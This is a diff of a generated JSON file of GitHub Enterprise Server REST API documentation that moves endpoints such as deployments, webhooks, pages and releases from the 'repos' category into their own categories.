     "descriptionHTML": "<p>Returns the contents of a single commit reference. You must have <code>read</code> access for the repository to use this endpoint.</p>\n<p><strong>Note:</strong> If there are more than 300 files in the commit diff, the response will include pagination link headers for the remaining files, up to a limit of 3000 files. Each page contains the static commit information, and the only changes are to the file listing.</p>\n<p>You can pass the appropriate <a href=\"https://docs.github.com/enterprise-server@3.1/rest/overview/media-types/#commits-commit-comparison-and-pull-requests\">media type</a> to  fetch <code>diff</code> and <code>patch</code> formats. Diffs with binary data will have no <code>patch</code> property.</p>\n<p>To return only the SHA-1 hash of the commit reference, you can provide the <code>sha</code> custom <a href=\"https://docs.github.com/enterprise-server@3.1/rest/overview/media-types/#commits-commit-comparison-and-pull-requests\">media type</a> in the <code>Accept</code> header. You can use this endpoint to check if a remote reference's SHA-1 hash is the same as your local reference's SHA-1 hash by providing the local SHA-1 reference as the ETag.</p>\n<p><strong>Signature verification object</strong></p>\n<p>The response will include a <code>verification</code> object that describes the result of verifying the commit's signature. The following fields are included in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Name</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>verified</code></td><td><code>boolean</code></td><td>Indicates whether GitHub considers the signature in this commit to be verified.</td></tr><tr><td><code>reason</code></td><td><code>string</code></td><td>The reason for verified value. Possible values and their meanings are enumerated in table below.</td></tr><tr><td><code>signature</code></td><td><code>string</code></td><td>The signature that was extracted from the commit.</td></tr><tr><td><code>payload</code></td><td><code>string</code></td><td>The value that was signed.</td></tr></tbody></table>\n<p>These are the possible values for <code>reason</code> in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Value</th><th>Description</th></tr></thead><tbody><tr><td><code>expired_key</code></td><td>The key that made the signature is expired.</td></tr><tr><td><code>not_signing_key</code></td><td>The \"signing\" flag is not among the usage flags in the GPG key that made the signature.</td></tr><tr><td><code>gpgverify_error</code></td><td>There was an error communicating with the signature verification service.</td></tr><tr><td><code>gpgverify_unavailable</code></td><td>The signature verification service is currently unavailable.</td></tr><tr><td><code>unsigned</code></td><td>The object does not include a signature.</td></tr><tr><td><code>unknown_signature_type</code></td><td>A non-PGP signature was found in the commit.</td></tr><tr><td><code>no_user</code></td><td>No user was associated with the <code>committer</code> email address in the commit.</td></tr><tr><td><code>unverified_email</code></td><td>The <code>committer</code> email address in the commit was associated with a user, but the email address is not verified on her/his account.</td></tr><tr><td><code>bad_email</code></td><td>The <code>committer</code> email address in the commit is not included in the identities of the PGP key that made the signature.</td></tr><tr><td><code>unknown_key</code></td><td>The key that made the signature has not been registered with any user's account.</td></tr><tr><td><code>malformed_signature</code></td><td>There was an error parsing the signature.</td></tr><tr><td><code>invalid</code></td><td>The signature could not be cryptographically verified using the key whose key-id was found in the signature.</td></tr><tr><td><code>valid</code></td><td>None of the above errors applied, so the signature is considered to be verified.</td></tr></tbody></table>",
@@ -49848,8 +49824,8 @@
       "subcategory": "statuses"
     },
     "slug": "get-the-combined-status-for-a-specific-reference",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "statuses",
     "subcategoryLabel": "Statuses",
     "notes": [],
@@ -49953,8 +49929,8 @@
       "subcategory": "statuses"
     },
     "slug": "list-commit-statuses-for-a-reference",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "statuses",
     "subcategoryLabel": "Statuses",
     "notes": [],
@@ -50037,10 +50013,8 @@
       "subcategory": "commits"
     },
     "slug": "compare-two-commits",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>The <code>basehead</code> param is comprised of two parts: <code>base</code> and <code>head</code>. Both must be branch names in <code>repo</code>. To compare branches across other repositories in the same network as <code>repo</code>, use the format <code>&lt;USERNAME&gt;:branch</code>.</p>\n<p>The response from the API is equivalent to running the <code>git log base..head</code> command; however, commits are returned in chronological order. Pass the appropriate <a href=\"https://docs.github.com/enterprise-server@3.1/rest/overview/media-types/#commits-commit-comparison-and-pull-requests\">media type</a> to fetch diff and patch formats.</p>\n<p>The response also includes details on the files that were changed between the two commits. This includes the status of the change (for example, if a file was added, removed, modified, or renamed), and details of the change itself. For example, files with a <code>renamed</code> status have a <code>previous_filename</code> field showing the previous filename of the file, and files with a <code>modified</code> status have a <code>patch</code> field showing the changes made to the file.</p>\n<p><strong>Working with large comparisons</strong></p>\n<p>The response will include a comparison of up to 250 commits. If you are working with a larger commit range, you can use the <a href=\"https://docs.github.com/enterprise-server@3.1/rest/reference/repos#list-commits\">List commits</a> to enumerate all commits in the range.</p>\n<p>For comparisons with extremely large diffs, you may receive an error response indicating that the diff took too long\nto generate. You can typically resolve this error by using a smaller commit range.</p>\n<p><strong>Signature verification object</strong></p>\n<p>The response will include a <code>verification</code> object that describes the result of verifying the commit's signature. The following fields are included in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Name</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>verified</code></td><td><code>boolean</code></td><td>Indicates whether GitHub considers the signature in this commit to be verified.</td></tr><tr><td><code>reason</code></td><td><code>string</code></td><td>The reason for verified value. Possible values and their meanings are enumerated in table below.</td></tr><tr><td><code>signature</code></td><td><code>string</code></td><td>The signature that was extracted from the commit.</td></tr><tr><td><code>payload</code></td><td><code>string</code></td><td>The value that was signed.</td></tr></tbody></table>\n<p>These are the possible values for <code>reason</code> in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Value</th><th>Description</th></tr></thead><tbody><tr><td><code>expired_key</code></td><td>The key that made the signature is expired.</td></tr><tr><td><code>not_signing_key</code></td><td>The \"signing\" flag is not among the usage flags in the GPG key that made the signature.</td></tr><tr><td><code>gpgverify_error</code></td><td>There was an error communicating with the signature verification service.</td></tr><tr><td><code>gpgverify_unavailable</code></td><td>The signature verification service is currently unavailable.</td></tr><tr><td><code>unsigned</code></td><td>The object does not include a signature.</td></tr><tr><td><code>unknown_signature_type</code></td><td>A non-PGP signature was found in the commit.</td></tr><tr><td><code>no_user</code></td><td>No user was associated with the <code>committer</code> email address in the commit.</td></tr><tr><td><code>unverified_email</code></td><td>The <code>committer</code> email address in the commit was associated with a user, but the email address is not verified on her/his account.</td></tr><tr><td><code>bad_email</code></td><td>The <code>committer</code> email address in the commit is not included in the identities of the PGP key that made the signature.</td></tr><tr><td><code>unknown_key</code></td><td>The key that made the signature has not been registered with any user's account.</td></tr><tr><td><code>malformed_signature</code></td><td>There was an error parsing the signature.</td></tr><tr><td><code>invalid</code></td><td>The signature could not be cryptographically verified using the key whose key-id was found in the signature.</td></tr><tr><td><code>valid</code></td><td>None of the above errors applied, so the signature is considered to be verified.</td></tr></tbody></table>",
@@ -51527,10 +51501,8 @@
       ]
     },
     "slug": "list-deployments",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Simple filtering of deployments is available via query parameters:</p>",
@@ -51740,10 +51712,8 @@
       ]
     },
     "slug": "create-a-deployment",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Deployments offer a few configurable parameters with certain defaults.</p>\n<p>The <code>ref</code> parameter can be any named branch, tag, or SHA. At GitHub Enterprise Server we often deploy branches and verify them\nbefore we merge a pull request.</p>\n<p>The <code>environment</code> parameter allows deployments to be issued to different runtime environments. Teams often have\nmultiple environments for verifying their applications, such as <code>production</code>, <code>staging</code>, and <code>qa</code>. This parameter\nmakes it easier to track which environments have requested deployments. The default environment is <code>production</code>.</p>\n<p>The <code>auto_merge</code> parameter is used to ensure that the requested ref is not behind the repository's default branch. If\nthe ref <em>is</em> behind the default branch for the repository, we will attempt to merge it for you. If the merge succeeds,\nthe API will return a successful merge commit. If merge conflicts prevent the merge from succeeding, the API will\nreturn a failure response.</p>\n<p>By default, <a href=\"https://docs.github.com/enterprise-server@3.1/rest/reference/repos#statuses\">commit statuses</a> for every submitted context must be in a <code>success</code>\nstate. The <code>required_contexts</code> parameter allows you to specify a subset of contexts that must be <code>success</code>, or to\nspecify contexts that have not yet been submitted. You are not required to use commit statuses to deploy. If you do\nnot require any contexts or create any commit statuses, the deployment will always succeed.</p>\n<p>The <code>payload</code> parameter is available for any extra information that a deployment system might need. It is a JSON text\nfield that will be passed on when a deployment event is dispatched.</p>\n<p>The <code>task</code> parameter is used by the deployment system to allow different execution paths. In the web world this might\nbe <code>deploy:migrations</code> to run schema changes on the system. In the compiled world this could be a flag to compile an\napplication with debugging enabled.</p>\n<p>Users with <code>repo</code> or <code>repo_deployment</code> scopes can create a deployment for a given ref.</p>\n<h4 id=\"merged-branch-response\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#merged-branch-response\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Merged branch response</h4>\n<p>You will see this response when GitHub automatically merges the base branch into the topic branch instead of creating\na deployment. This auto-merge happens when:</p>\n<ul>\n<li>Auto-merge option is enabled in the repository</li>\n<li>Topic branch does not include the latest changes on the base branch, which is <code>master</code> in the response example</li>\n<li>There are no merge conflicts</li>\n</ul>\n<p>If there are no new commits in the base branch, a new request to create a deployment should give a successful\nresponse.</p>\n<h4 id=\"merge-conflict-response\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#merge-conflict-response\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Merge conflict response</h4>\n<p>This error happens when the <code>auto_merge</code> option is enabled and when the default branch (in this case <code>master</code>), can't\nbe merged into the branch that's being deployed (in this case <code>topic-branch</code>), due to merge conflicts.</p>\n<h4 id=\"failed-commit-status-checks\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#failed-commit-status-checks\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Failed commit status checks</h4>\n<p>This error happens when the <code>required_contexts</code> parameter indicates that one or more contexts need to have a <code>success</code>\nstatus for the commit to be deployed, but one or more of the required contexts do not have a state of <code>success</code>.</p>",
@@ -51948,10 +51918,8 @@
       ]
     },
     "slug": "get-a-deployment",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -52032,10 +52000,8 @@
       "subcategory": "deployments"
     },
     "slug": "delete-a-deployment",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "notes": [],
     "responses": [
       {
@@ -52152,10 +52118,10 @@
       ]
     },
     "slug": "list-deployment-statuses",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
+    "subcategory": "statuses",
+    "subcategoryLabel": "Statuses",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Users with pull access can view deployment statuses for a deployment:</p>",
@@ -52350,10 +52316,10 @@
       ]
     },
     "slug": "create-a-deployment-status",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
+    "subcategory": "statuses",
+    "subcategoryLabel": "Statuses",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with <code>push</code> access can create deployment statuses for a given deployment.</p>\n<p>GitHub Apps require <code>read &#x26; write</code> access to \"Deployments\" and <code>read-only</code> access to \"Repo contents\" (for private repos). OAuth Apps require the <code>repo_deployment</code> scope.</p>",
@@ -52538,10 +52504,10 @@
       ]
     },
     "slug": "get-a-deployment-status",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
+    "subcategory": "statuses",
+    "subcategoryLabel": "Statuses",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Users with pull access can view a deployment status for a deployment:</p>",
@@ -55416,10 +55382,10 @@
       "subcategory": "webhooks"
     },
     "slug": "list-repository-webhooks",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -55702,10 +55668,10 @@
       "subcategory": "webhooks"
     },
     "slug": "create-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Repositories can have multiple webhooks installed. Each webhook should have a unique <code>config</code>. Multiple webhooks can\nshare the same <code>config</code> as long as those webhooks do not have any <code>events</code> that overlap.</p>",
@@ -55982,10 +55948,10 @@
       "subcategory": "webhooks"
     },
     "slug": "get-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns a webhook configured in a repository. To get only the webhook <code>config</code> properties, see \"<a href=\"/rest/reference/repos#get-a-webhook-configuration-for-a-repository\">Get a webhook configuration for a repository</a>.\"</p>",
@@ -56286,10 +56252,10 @@
       "subcategory": "webhooks"
     },
     "slug": "update-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Updates a webhook configured in a repository. If you previously had a <code>secret</code> set, you must provide the same <code>secret</code> or set a new <code>secret</code> or the secret will be removed. If you are only updating individual webhook <code>config</code> properties, use \"<a href=\"/rest/reference/repos#update-a-webhook-configuration-for-a-repository\">Update a webhook configuration for a repository</a>.\"</p>",
@@ -56579,10 +56545,10 @@
       "subcategory": "webhooks"
     },
     "slug": "delete-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -56661,10 +56627,10 @@
       "subcategory": "webhooks"
     },
     "slug": "get-a-webhook-configuration-for-a-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-config",
+    "subcategoryLabel": "Repo config",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns the webhook configuration for a repository. To get more information about the webhook, including the <code>active</code> state and <code>events</code>, use \"<a href=\"/rest/reference/orgs#get-a-repository-webhook\">Get a repository webhook</a>.\"</p>\n<p>Access tokens must have the <code>read:repo_hook</code> or <code>repo</code> scope, and GitHub Apps must have the <code>repository_hooks:read</code> permission.</p>",
@@ -56806,10 +56772,10 @@
       "subcategory": "webhooks"
     },
     "slug": "update-a-webhook-configuration-for-a-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-config",
+    "subcategoryLabel": "Repo config",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Updates the webhook configuration for a repository. To update more information about the webhook, including the <code>active</code> state and <code>events</code>, use \"<a href=\"/rest/reference/orgs#update-a-repository-webhook\">Update a repository webhook</a>.\"</p>\n<p>Access tokens must have the <code>write:repo_hook</code> or <code>repo</code> scope, and GitHub Apps must have the <code>repository_hooks:write</code> permission.</p>",
@@ -56934,10 +56900,10 @@
       "subcategory": "webhooks"
     },
     "slug": "ping-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "responses": [
       {
@@ -57016,10 +56982,10 @@
       "subcategory": "webhooks"
     },
     "slug": "test-the-push-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "responses": [
       {
@@ -57186,8 +57152,8 @@
       "subcategory": "invitations"
     },
     "slug": "list-repository-invitations",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -57293,8 +57259,8 @@
       "subcategory": "invitations"
     },
     "slug": "update-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "contentType": "application/json",
@@ -57390,8 +57356,8 @@
       "subcategory": "invitations"
     },
     "slug": "delete-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -61493,8 +61459,8 @@
       "subcategory": "keys"
     },
     "slug": "list-deploy-keys",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "notes": [],
@@ -61609,8 +61575,8 @@
       "subcategory": "keys"
     },
     "slug": "create-a-deploy-key",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "contentType": "application/json",
@@ -61722,8 +61688,8 @@
       "subcategory": "keys"
     },
     "slug": "get-a-deploy-key",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "notes": [],
@@ -61806,8 +61772,8 @@
       "subcategory": "keys"
     },
     "slug": "delete-a-deploy-key",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "notes": [],
@@ -62616,10 +62582,8 @@
       "subcategory": "merging"
     },
     "slug": "merge-a-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "merging",
-    "subcategoryLabel": "Merging",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "",
@@ -63754,10 +63718,8 @@
       "subcategory": "pages"
     },
     "slug": "get-a-github-enterprise-server-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -63926,10 +63888,8 @@
       ]
     },
     "slug": "create-a-github-enterprise-server-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Configures a GitHub Enterprise Server Pages site. For more information, see \"<a href=\"/github/working-with-github-pages/about-github-pages\">About GitHub Pages</a>.\"</p>",
@@ -64184,10 +64144,8 @@
       "subcategory": "pages"
     },
     "slug": "update-information-about-a-github-enterprise-server-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "contentType": "application/json",
     "notes": [],
     "responses": [
@@ -64339,10 +64297,8 @@
       ]
     },
     "slug": "delete-a-github-enterprise-server-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -64437,10 +64393,8 @@
       "subcategory": "pages"
     },
     "slug": "list-github-enterprise-server-pages-builds",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -64506,10 +64460,8 @@
       "subcategory": "pages"
     },
     "slug": "request-a-github-enterprise-server-pages-build",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>You can request that your site be built from the latest revision on the default branch. This has the same effect as pushing a commit to your default branch, but does not require an additional commit. Manually triggering page builds can be helpful when diagnosing build warnings and failures.</p>\n<p>Build requests are limited to one concurrent build per repository and one concurrent build per requester. If you request a build while another is still in progress, the second request will be queued until the first completes.</p>",
@@ -64575,10 +64527,8 @@
       "subcategory": "pages"
     },
     "slug": "get-latest-pages-build",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -64653,10 +64603,8 @@
       "subcategory": "pages"
     },
     "slug": "get-github-enterprise-server-pages-build",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -70122,10 +70070,8 @@
       "subcategory": "releases"
     },
     "slug": "list-releases",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>This returns a list of releases, which does not include regular Git tags that have not been associated with a release. To get a list of Git tags, use the <a href=\"https://docs.github.com/enterprise-server@3.1/rest/reference/repos#list-repository-tags\">Repository Tags API</a>.</p>\n<p>Information about published releases are available to everyone. Only users with push access will receive listings for draft releases.</p>",
@@ -70276,10 +70222,8 @@
       "subcategory": "releases"
     },
     "slug": "create-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with push access to the repository can create a release.</p>\n<p>This endpoint triggers <a href=\"https://docs.github.com/en/github/managing-subscriptions-and-notifications-on-github/about-notifications\">notifications</a>. Creating content too quickly using this endpoint may result in secondary rate limiting. See \"<a href=\"https://docs.github.com/enterprise-server@3.1/rest/overview/resources-in-the-rest-api#secondary-rate-limits\">Secondary rate limits</a>\" and \"<a href=\"https://docs.github.com/enterprise-server@3.1/rest/guides/best-practices-for-integrators#dealing-with-secondary-rate-limits\">Dealing with secondary rate limits</a>\" for details.</p>",
@@ -70418,10 +70362,10 @@
       "subcategory": "releases"
     },
     "slug": "get-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>To download the asset's binary content, set the <code>Accept</code> header of the request to <a href=\"https://docs.github.com/enterprise-server@3.1/rest/overview/media-types\"><code>application/octet-stream</code></a>. The API will either redirect the client to the location, or stream it directly if possible. API clients should handle both a <code>200</code> or <code>302</code> response.</p>",
@@ -70555,10 +70499,10 @@
       "subcategory": "releases"
     },
     "slug": "update-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with push access to the repository can edit a release asset.</p>",
@@ -70663,10 +70607,10 @@
       "subcategory": "releases"
     },
     "slug": "delete-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -70731,10 +70675,8 @@
       "subcategory": "releases"
     },
     "slug": "get-the-latest-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>View the latest published full release for the repository.</p>\n<p>The latest release is the most recent non-prerelease, non-draft release, sorted by the <code>created_at</code> attribute. The <code>created_at</code> attribute is the date of the commit used for the release, and not the date when the release was drafted or published.</p>",
@@ -70811,10 +70753,8 @@
       "subcategory": "releases"
     },
     "slug": "get-a-release-by-tag-name",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
